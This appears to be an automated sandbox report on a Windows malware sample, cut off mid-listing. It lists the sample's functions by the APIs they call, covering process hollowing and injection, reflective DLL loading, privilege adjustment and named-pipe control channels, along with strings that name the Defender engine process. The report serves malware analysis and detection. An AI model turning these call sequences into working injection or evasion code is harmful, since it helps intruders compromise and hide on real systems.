StrStrA.SHLWAPI ref: 0000000140001BA9
VirtualAllocEx.KERNEL32 ref: 0000000140001C14
WriteProcessMemory.KERNELBASE ref: 0000000140001C37
WaitForSingleObject.KERNEL32 ref: 0000000140001C78
GetExitCodeThread.KERNEL32 ref: 0000000140001C8E
VirtualFreeEx.KERNELBASE ref: 0000000140001CB0
CloseHandle.KERNELBASE ref: 0000000140001CC1
CloseHandle.KERNEL32 ref: 0000000140001CCA

Strings

dialer.exe, xrefs: 00000001400019D4
MSBuild.exe, xrefs: 00000001400019C8
ReflectiveDllMain, xrefs: 0000000140001B9F
@, xrefs: 0000000140001C07
MsMpEng.exe, xrefs: 00000001400019B5

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileFreeLocalNameVirtual$CodeCountErrorExitFindLastMemoryModuleObjectPathQuerySingleThreadWaitWow64Writelstrlen
String ID: @$MSBuild.exe$MsMpEng.exe$ReflectiveDllMain$dialer.exe
API String ID: 2456419452-213581914
Opcode ID: 2bee834698dc212ad1e7088f0667ade3b93d0654afe3c54c2a62f3891622f4bd
Instruction ID: c88bb7c69995235f0751d37bc2d3b37891dd0b76cd64fd565fb581fb6c90924f
Opcode Fuzzy Hash: 2bee834698dc212ad1e7088f0667ade3b93d0654afe3c54c2a62f3891622f4bd
Instruction Fuzzy Hash: 66C14BF170064186EB66DF23B8807EA37A1FB89BC4F444129EB4A47BA4DF38C985C744

Function 0000000140001CF0 Relevance: 19.6, APIs: 13, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001D23
HeapAlloc.KERNEL32 ref: 0000000140001D36
GetProcessHeap.KERNEL32 ref: 0000000140001D44
HeapAlloc.KERNEL32 ref: 0000000140001D55
K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
OpenProcess.KERNEL32 ref: 0000000140001D9D
K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
ReadProcessMemory.KERNEL32 ref: 0000000140001E01
CloseHandle.KERNELBASE ref: 0000000140001E3D
GetProcessHeap.KERNEL32 ref: 0000000140001E4F
HeapFree.KERNEL32 ref: 0000000140001E5D
GetProcessHeap.KERNEL32 ref: 0000000140001E63
RtlFreeHeap.NTDLL ref: 0000000140001E71

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: ba5697e447d87321b3970d2a80d21a8dae171d7d4a90f8eea2aa6f3ee5ecc7d8
Instruction ID: 28fb11b33fc6f94ec1b72d6715988f9935dfd05350da2d8862b8b96723d9be5a
Opcode Fuzzy Hash: ba5697e447d87321b3970d2a80d21a8dae171d7d4a90f8eea2aa6f3ee5ecc7d8
Instruction Fuzzy Hash: 145169B27116808AEB66DF63F8587EA26A1F78DBD4F404029EF4947764DF38C586C704

Function 0000000140002300 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
LocalAlloc.KERNEL32 ref: 00000001400023A7
InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction ID: 08f0d969cdc459eeaae67e0f3491139f795acf93ec6e34b01acc3ed94c40f622
Opcode Fuzzy Hash: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction Fuzzy Hash: 173169B2214691CAE761CF25F4807DE77A4F748798F40422AFB4947EA8DB78C259CB44

Function 0000000140002A14 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140002A45
StrCatW.SHLWAPI ref: 0000000140002A53
GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
CreateFileW.KERNELBASE ref: 0000000140002AC0
CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
MapViewOfFile.KERNELBASE ref: 0000000140002B0D
lstrcmpiA.KERNEL32 ref: 0000000140002B63
VirtualProtect.KERNEL32 ref: 0000000140002B96
VirtualProtect.KERNEL32 ref: 0000000140002BC6
CloseHandle.KERNELBASE ref: 0000000140002BCF
CloseHandle.KERNEL32 ref: 0000000140002BD8
FreeLibrary.KERNEL32 ref: 0000000140002BE1

Strings

C:\Windows\System32\, xrefs: 0000000140002A37
.text, xrefs: 0000000140002B5C

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: 3c2cac29267c4764876fb0089e5e402af6c2ebc65583537dcb3214cf5c3439df
Instruction ID: dfe9efa62791befa50248ca661271f48b6fe4723356168206a8c879346357553
Opcode Fuzzy Hash: 3c2cac29267c4764876fb0089e5e402af6c2ebc65583537dcb3214cf5c3439df
Instruction Fuzzy Hash: 29516AB230468086EB22DF12F8587DAB3A1FB8CBD5F444215AF4A03BA8DF38C549C704

Function 00000001400036FC Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140003721
ConnectNamedPipe.KERNELBASE ref: 000000014000372E
ReadFile.KERNEL32 ref: 0000000140003751
WriteFile.KERNEL32 ref: 000000014000377F
Sleep.KERNEL32 ref: 000000014000378C
DisconnectNamedPipe.KERNEL32 ref: 0000000140003795

Strings

M, xrefs: 0000000140003772
\\.\pipe\dialerchildproc, xrefs: 0000000140003709

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc
API String ID: 2203880229-1753684470
Opcode ID: 264f81d3a6ac6bca323ce3fa8054da7710f72da389890086086dd295b32d71a1
Instruction ID: c448ab6558bdd7463f57c5c12a5a219c56a73407a56f172addbd9e8e0ddff9c1
Opcode Fuzzy Hash: 264f81d3a6ac6bca323ce3fa8054da7710f72da389890086086dd295b32d71a1
Instruction Fuzzy Hash: 1C1139F121868492E726EB22F8047EA6764B78DBE0F444225FB9A436F6DF7CC548C704

Function 0000000140002CB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140002CDD
ConnectNamedPipe.KERNELBASE ref: 0000000140002CEA
ReadFile.KERNEL32 ref: 0000000140002D0D
Sleep.KERNEL32 ref: 0000000140002D2E
DisconnectNamedPipe.KERNEL32 ref: 0000000140002D37

Strings

\\.\pipe\dialercontrol, xrefs: 0000000140002CC5

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol
API String ID: 2071455217-3404160161
Opcode ID: 3209f241eb13f1ef8ec1a4decc378a022141b60f243280a494fd49a09c45b802
Instruction ID: 4aa5465129413e2f39cc36440aa91cbf4e29d23be742ebc323825d4ea6cf5422
Opcode Fuzzy Hash: 3209f241eb13f1ef8ec1a4decc378a022141b60f243280a494fd49a09c45b802
Instruction Fuzzy Hash: 080148B120464082FB16EB22F8547EA6360A79DBE1F554225FB66436F5CE7CC948CB00

Function 000000014000363C Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140003657
HeapAlloc.KERNEL32 ref: 000000014000366B
GetProcessHeap.KERNEL32 ref: 0000000140003674
HeapAlloc.KERNEL32 ref: 0000000140003682
K32EnumProcesses.KERNEL32 ref: 000000014000369D
Sleep.KERNEL32 ref: 00000001400036F2

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction ID: 932927f610c79799a7423f6de90e0e5c96436069bf88993b9f6edd8e186454c1
Opcode Fuzzy Hash: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction Fuzzy Hash: B81172B270061196E716DB17F81476A76A6F7C9FC1F558028EF8207B78CE3AD884CB00

Function 000000014000200C Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140002F58), ref: 0000000140002021
HeapAlloc.KERNEL32(?,?,00000000,0000000140002F58), ref: 0000000140002032

Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D23
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D36
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D44
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D55
Part of subcall function 0000000140001CF0: K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
Part of subcall function 0000000140001CF0: OpenProcess.KERNEL32 ref: 0000000140001D9D
Part of subcall function 0000000140001CF0: K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
Part of subcall function 0000000140001CF0: ReadProcessMemory.KERNEL32 ref: 0000000140001E01
Part of subcall function 0000000140001CF0: CloseHandle.KERNELBASE ref: 0000000140001E3D
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E4F
Part of subcall function 0000000140001CF0: HeapFree.KERNEL32 ref: 0000000140001E5D
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E63
Part of subcall function 0000000140001CF0: RtlFreeHeap.NTDLL ref: 0000000140001E71

OpenProcess.KERNEL32 ref: 0000000140002079
TerminateProcess.KERNEL32 ref: 000000014000208C
CloseHandle.KERNEL32 ref: 0000000140002095
GetProcessHeap.KERNEL32 ref: 00000001400020A5

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 9ff41f5b47486c21fa891594cf0c33ae277b6b992257bec1fa520ef4309fdbd8
Instruction ID: c66517cf2b2c161b5e7adf19ff96308ebd974c614c1f63983815515aa541087b
Opcode Fuzzy Hash: 9ff41f5b47486c21fa891594cf0c33ae277b6b992257bec1fa520ef4309fdbd8
Instruction Fuzzy Hash: DD114CB1B0564086FB16DF27B84439A66A1EB8DBD4F488028FF0903777EE39C486C704

Function 0000000140002D40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002D54: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
Part of subcall function 0000000140002D54: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
Part of subcall function 0000000140002D54: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
Part of subcall function 0000000140002D54: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
Part of subcall function 0000000140002D54: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
Part of subcall function 0000000140002D54: GetLastError.KERNEL32 ref: 0000000140002DFF
Part of subcall function 0000000140002D54: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
Part of subcall function 0000000140002D54: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4

ExitProcess.KERNEL32 ref: 0000000140002D4B

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$OpenValue$AllocQueryToken$AdjustCloseCurrentErrorExitHandleLastLookupPrivilegePrivileges
String ID:
API String ID: 2472495637-0
Opcode ID: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction ID: 59e064767c250cdef6e9f59bcc282425e560d761e872fe105b4542e7c77ad29f
Opcode Fuzzy Hash: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction Fuzzy Hash: E7A002B0A1159041DA09B77674553D91561575C741F100415611547172DD7844954655

Non-executed Functions

Function 00000001400031D8 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 236
registrymemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 0000000140003250

Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001896
Part of subcall function 0000000140001860: IsWow64Process.KERNEL32 ref: 00000001400018B2
Part of subcall function 0000000140001860: CloseHandle.KERNEL32 ref: 00000001400018D6
Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001931
Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001950
Part of subcall function 0000000140001860: K32GetModuleFileNameExW.KERNEL32 ref: 000000014000196D
Part of subcall function 0000000140001860: PathFindFileNameW.SHLWAPI ref: 000000014000197B
Part of subcall function 0000000140001860: lstrlenW.KERNEL32 ref: 0000000140001987
Part of subcall function 0000000140001860: StrCpyW.SHLWAPI ref: 000000014000199E
Part of subcall function 0000000140001860: CloseHandle.KERNEL32 ref: 00000001400019AA
Part of subcall function 0000000140001860: StrCmpIW.SHLWAPI ref: 00000001400019E9

Part of subcall function 0000000140001860: NtQueryInformationProcess.NTDLL ref: 0000000140001A1A
Part of subcall function 0000000140001860: OpenProcessToken.ADVAPI32 ref: 0000000140001A42
Part of subcall function 0000000140001860: GetTokenInformation.KERNELBASE ref: 0000000140001A6E
Part of subcall function 0000000140001860: GetLastError.KERNEL32 ref: 0000000140001A78
Part of subcall function 0000000140001860: LocalAlloc.KERNEL32 ref: 0000000140001A8B
Part of subcall function 0000000140001860: GetTokenInformation.KERNELBASE ref: 0000000140001AB7
Part of subcall function 0000000140001860: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC4
Part of subcall function 0000000140001860: GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD3
Part of subcall function 0000000140001860: LocalFree.KERNEL32 ref: 0000000140001AEB
Part of subcall function 0000000140001860: CloseHandle.KERNEL32 ref: 0000000140001AFF

RegOpenKeyExW.ADVAPI32 ref: 00000001400032E1
RegDeleteValueW.ADVAPI32 ref: 00000001400032F9
RegDeleteValueW.ADVAPI32 ref: 000000014000330D
RegDeleteValueW.ADVAPI32 ref: 0000000140003321
ExitProcess.KERNEL32 ref: 0000000140003358
GetProcessHeap.KERNEL32 ref: 000000014000335F
HeapAlloc.KERNEL32 ref: 0000000140003372
K32EnumProcesses.KERNEL32 ref: 000000014000338F
ExitProcess.KERNEL32 ref: 000000014000344D

Strings

open, xrefs: 000000014000354F
dialerstager, xrefs: 00000001400032F2
dialersvc32, xrefs: 0000000140003327
dialerdll32, xrefs: 0000000140003306
dialerdll64, xrefs: 000000014000331A
SOFTWARE, xrefs: 00000001400032D3
dialersvc64, xrefs: 0000000140003333

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Open$CloseDeleteFileHandleInformationTokenValue$AllocAuthorityExitHeapLocalName$CountEnumErrorFindFreeLastModulePathProcessesQueryReadWow64lstrlen
String ID: SOFTWARE$dialerdll32$dialerdll64$dialerstager$dialersvc32$dialersvc64$open
API String ID: 4225498131-1247716241
Opcode ID: 6e476a2e5b1b3ef1dbd84d89780c000ad454430e2c58884dce881c51901cee02
Instruction ID: e08a93284e424f9f2f03302153dd23542788a9e373c29e46626a4198fc3bbd5f
Opcode Fuzzy Hash: 6e476a2e5b1b3ef1dbd84d89780c000ad454430e2c58884dce881c51901cee02
Instruction Fuzzy Hash: E0B128F1604A8096EB7BDF27F8543EA22A9F74C7C4F458125BB0A47AB6DE798605C700

Function 0000000140002434 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 324
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140002532
VirtualAllocEx.KERNEL32 ref: 000000014000258D
WriteProcessMemory.KERNEL32 ref: 00000001400025B5
VirtualProtectEx.KERNEL32 ref: 00000001400025DF
WriteProcessMemory.KERNEL32 ref: 000000014000261E
VirtualProtectEx.KERNEL32 ref: 0000000140002668
VirtualAlloc.KERNEL32 ref: 000000014000269D
GetThreadContext.KERNEL32 ref: 00000001400026C0
WriteProcessMemory.KERNEL32 ref: 00000001400026EA
SetThreadContext.KERNEL32 ref: 000000014000270D
VirtualAllocEx.KERNEL32 ref: 0000000140002747
WriteProcessMemory.KERNEL32 ref: 000000014000276F
VirtualProtectEx.KERNEL32 ref: 0000000140002799
WriteProcessMemory.KERNEL32 ref: 00000001400027D8
VirtualProtectEx.KERNEL32 ref: 0000000140002822
VirtualAlloc.KERNEL32 ref: 0000000140002857
Wow64GetThreadContext.KERNEL32 ref: 0000000140002875
WriteProcessMemory.KERNEL32 ref: 0000000140002899
Wow64SetThreadContext.KERNEL32 ref: 00000001400028B7
ResumeThread.KERNEL32 ref: 00000001400028C6
OpenProcess.KERNEL32 ref: 00000001400028E6
TerminateProcess.KERNEL32 ref: 00000001400028F9

Strings

NtUnmapViewOfSection, xrefs: 0000000140002544
@, xrefs: 000000014000273F
h, xrefs: 00000001400024F2
RtlGetVersion, xrefs: 0000000140002498

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Virtual$MemoryWrite$Thread$AllocContextProtect$Wow64$CreateOpenResumeTerminate
String ID: @$NtUnmapViewOfSection$RtlGetVersion$h
API String ID: 1423830022-1371749706
Opcode ID: bb03c724c0a37b745e04d1c2cc94b97180df235d5c9c7911ccdb9c72fcca1860
Instruction ID: 66eadde3e23c78db0b2c2a162faeb5bceed69f312705dc0718e950d303e6fa69
Opcode Fuzzy Hash: bb03c724c0a37b745e04d1c2cc94b97180df235d5c9c7911ccdb9c72fcca1860
Instruction Fuzzy Hash: 94D17EB670164187EB61CB67F84479AB7A0FB88BD4F004025EF8947BA4DF78D599CB04

Function 0000000140001274 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 136
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
GetProcessHeap.KERNEL32 ref: 00000001400012DF
HeapAlloc.KERNEL32 ref: 00000001400012F0
RegEnumValueW.ADVAPI32 ref: 000000014000134F
StrCmpIW.SHLWAPI ref: 0000000140001388
StrCmpW.SHLWAPI ref: 0000000140001390
GetProcessHeap.KERNEL32 ref: 00000001400013C7
HeapAlloc.KERNEL32 ref: 00000001400013D5
GetProcessHeap.KERNEL32 ref: 00000001400013F2
HeapFree.KERNEL32 ref: 0000000140001400
lstrlenW.KERNEL32 ref: 0000000140001409
GetProcessHeap.KERNEL32 ref: 0000000140001417
HeapAlloc.KERNEL32 ref: 0000000140001425
StrCpyW.SHLWAPI ref: 0000000140001447
GetProcessHeap.KERNEL32 ref: 000000014000145E
HeapFree.KERNEL32 ref: 000000014000146C

Strings

d, xrefs: 0000000140001312

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction ID: cbe0a9e96035c6652df35f1bebe582e7c0167c489293dce8c24ece8bd57d0938
Opcode Fuzzy Hash: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction Fuzzy Hash: C35128B2604B8486EB56DF62F4483AA77A1F78CBD5F444124EB4A07B79DF38C555C700

Function 0000000140001514 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000151F
HeapAlloc.KERNEL32 ref: 000000014000152E

Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001226
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001235
Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 000000014000124F
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001260

